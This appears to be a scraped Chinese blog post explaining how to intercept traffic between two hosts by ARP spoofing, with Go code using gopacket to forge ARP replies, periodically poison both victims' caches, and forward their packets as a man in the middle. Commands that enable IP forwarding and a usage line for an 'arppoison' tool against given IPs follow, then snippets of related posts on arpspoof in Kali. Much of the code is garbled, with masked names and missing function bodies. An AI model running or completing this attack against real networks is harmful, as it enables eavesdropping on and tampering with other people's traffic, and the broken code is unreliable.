arp欺騙進行流量截獲 2

2021-07-22 19:04:04 字數 3312 閱讀 3539

**

首先就是偽造arp請求,讓a和b把資料報發到我這裡來。

利用gopacket 傳送乙個arp請求,下面是乙個實現函式,可以用來傳送乙個指定ip位址和mac位址的arp請求。

//send a arp reply from srcip to dstip

funcsen****kearprequest

(handle *pcap.handle, dstip, srcip net.ip, dstmac, srcmac net.hardwareaddr)

ethernetlayer := &layers.ethernet

// and create the packet with the layers

buffer := gopacket.

newserializebuffer

()opts := gopacket.serializeoptions

err := gopacket.

serializelayers

(buffer, opts,

ethernetlayer,

arplayer,

)iferr != 

nil 

outgoingpacket := buffer.

bytes

()log.

debug

("sending arp"

)handlemutex.

lock

()err = handle.

writepacketdata

(outgoingpacket)

handlemutex.

unlock

()iferr != 

nil 

}下面是迴圈向a和b播報虛假mac位址,其中要攻擊的就是ip1和ip2

//tell ip1 that ip2's mac is mymac and tell ip2 that ip1's mac is mymac periodly

funcsendsudeoarpinfo

(inte***cename

string

, myip, ip1, ip2 net.ip, mymac, mac1, mac2 net.hardwareaddr, shouldstop *

bool

)for! (*shouldstop) }

這樣第一步就完成了。

剩下的就是第二步,等待資料報到來,然後進行**

如果只是單純想觀察一下資料流,比如把資料報儲存下來,留作以後分析等,那其實很簡單,我們可以不用程式設計,直接使用ip forward這樣的功能,如果在linux下,可以直接這樣:

#:> 

echo 1 > /proc/sys/net/ipv4/ip_forward

sudo sysctl -w net.inet.ip.forwarding=1

這裡我們主要講如何用程式來實現。arppoisoning函式會進行包**,引數很直觀,第乙個是要處理的網絡卡,最後乙個用來控制停止。

/*

將截獲ip1

和ip2

之間通訊的所有流量,自己相當於是乙個中間人的角色,

close(stop) or write somthing to stop when you want to stop

*/funcarppoisoning

(inte***cename

string

, myip, ip1, ip2 net.ip, mymac, mac1, mac2 net.hardwareaddr, stop

chanbool

) log.

infof

("capture filter: ip host %s or ip host %s "

, ip1.

to4().

string

(), ip2.

to4().

string

()) packetsource := gopacket.

newpacketsource

(handle, handle.

linktype

()) ip2mac :=

make

(map[

string

]net.hardwareaddr) ip2mac[ip1.

string

()] = mac1 ip2mac[ip2.

string

()] = mac2 in := packetsource.

packets

()varpacket gopacket.packet

for} } } } } } }

packethandler 

可以自定義,這樣可以實現自己想要的功能,比如修改包的內容再**等等。

下面是基本的

packethandler

實現,就是什麼都不做,只是**。

funcpackethandler

(packet gopacket.packet, ip2mac

map[

string

]net.hardwareaddr)

byte

returndata }

到此為止,已經把arp欺騙進行流量截獲的基本原理以及實現方法講解完畢,當然真正的可執行程式要比這上面說的複雜,要考慮到使用方便等,完整的實現可以見

arppoison -ip1 192.168.56.103 -ip2 192.168.56.104 -t seconds -d

-ip1,-ip2: the ip will be attacked

-t how many seconds to attack

,default is 3000 *3600 seconds, 3000 hour

-d print debug message

使用arpspoof進行ARP欺騙

使用虛擬機器上的kail進行測試 我們將執行實際的arp中毒攻擊,重定向資料報流並使其流經我們的裝置arpspooef i 網絡卡 t 目標ip 預設閘道器下面是我作為被攻擊的kail,ip為192.168.25.129 下面是我作為攻擊的kail,網絡卡對應ip,網絡卡名字為eth0,ip為192...

嗅探 欺騙 ARP欺騙

二 kali上實現arp欺騙 三 防範arp欺騙 arp欺騙 arp spoofing 又稱arp毒化或arp攻擊。它是針對乙太網位址解析協議 arp 的一種攻擊技術。通過欺 域網內訪問者的閘道器mac位址,使訪問者錯以為攻擊者更改後的mac位址是閘道器的mac,導致應當發往閘道器地資料報傳送到攻擊...

ARP欺騙原理

乙太網內的嗅探sniff對於網路安全來說並不是什麼好事,雖然對於網路管理員能夠跟蹤資料報並且發現網路問題,但是如果被破壞者利用的話,就對整個網路構成嚴重的安全威脅。arp快取表假設這樣乙個網路 e cellspacing 0 bordercolordark ffffff cellpadding 2 ...